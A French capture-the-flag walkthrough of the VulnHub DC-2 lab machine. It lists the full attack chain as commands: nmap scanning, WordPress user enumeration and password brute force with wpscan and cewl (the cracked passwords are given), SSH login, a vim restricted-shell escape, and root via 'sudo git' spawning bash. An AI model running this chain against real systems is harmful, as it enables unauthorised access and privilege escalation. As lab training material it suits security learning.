DC-2 ~ VulnHub
Au programme aujourd’hui : VM DC-2 disponible sur VulnHub.com.
IP Kali Linux (Attaquant) : 192.168.1.154
IP VM DC-2 (Cible) : 192.168.1.74
Alors on nous dit qu’il y a plusieurs flags mais que seul le flag « root » est important à atteindre. On nous indique que le DHCP est activé et qu’il faudra ajouter « dc-2 » dans le fichier /etc/hosts. La première chose à faire va être de déterminer son adresse IP via netdiscover. La VM se trouve en 192.168.1.74.
echo “192.168.1.74 dc-2” >> /etc/hosts
Scanning :
On va lancer un Nmap pour déterminer les ports ouverts sur la VM
nmap -p- -A 192.168.1.74
Seul les ports 80 (HTTP) et 7744 (SSH) sont ouverts.
Enumération :
On accède via firefox à 192.168.1.74
On arrive sur une page avec principalement une image et un menu en bas de page. On voit tout de suite qu’il y a une entrée « Flag » dans celui-ci.
firefox dc-2/index.php/flag/
Alors on nous donne pas mal de pistes, c’est un blog sous Wordpress et on nous aiguille sur l’outil cewl pour générer la wordlist. On s’oriente vers wpscan pour chercher les utilisateurs :
wpscan — url http://dc-2 — enumerate p — enumerate t — enumerate u
Le wpscan nous indique 3 utilisateurs : admin, jerry et tom
echo “admin” > users.txt
echo “jerry” >> users.txt
echo “tom” >> users.txt
Exploitation :
Maintenant on va créer la wordlist pour les mots de passe :
cewl http://dc-2/ > password.txt
On peut maintenant lancer notre wpscan pour chercher des comptes dans le blog WordPress.
wpscan — url http://dc-2 -U users.txt -P password.txt
Et voilà, on trouve deux comptes : jerry/adipiscing et tom/parturient. On retourne sur le blog pour se connecter avec le compte « jerry ».
firefox http://dc-2/wp-login.php
Une fois connectée, on se rend dans la section « Pages ». On trouve une page « Flag 2 »
firefox http://dc-2/index.php/flag-2/
Le flag 2 nous indique qu’il faut exploiter autre chose que Wordpress. On va donc se tourner vers le port 7744 (SSH) pour essayer de se connecter avec un des comptes trouvés.
ssh tom@192.168.1.84 -p 7744
On arrive à se connecter en tant que « tom » et on trouve le fichier flag3.txt. En voulant l’ouvrir, on s’aperçoit qu’on ne peut pas l’ouvrir avec la commande « cat ». On est dans un shell restreint. On va tout d’abord lister les commandes qu’on est autorisé à lancer :
echo $PATH
ls /home/tom/usr/bin
Voici un article intéressant traitant du shell restreint :
Vous verrez à la page 42 Figure 3 qu’il est possible de mettre en place un shell escape via vim :
/home/tom/usr/bin/vim — cmd “set shell=/bin/bash” — cmd “shell”
Le shell restreint empêche l’utilisation des « / ». Soyons plus direct en utilisant l’éditeur :
vi
:set shell=/bin/bash
:shell
Il nous faut maintenant mettre à jour les variables PATH et SHELL :
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
Nous pouvons maintenant lire le contenu de « flag3.txt » :
ls
cat flag3.txt
Le contenu du flag3 nous indique qu’il va falloir basculer sur le compte de jerry pour la suite de l’aventure.
su jerry
cd
ls
cat flag4.txt
Escalade de privilège :
Voyons un peu quelles sont les commandes disponibles :
sudo -l
A disposition, on a la commande « git ».
sudo git help status
!/bin/bash
Et voilà !
id
cd /root
ls
cat final-flag.txt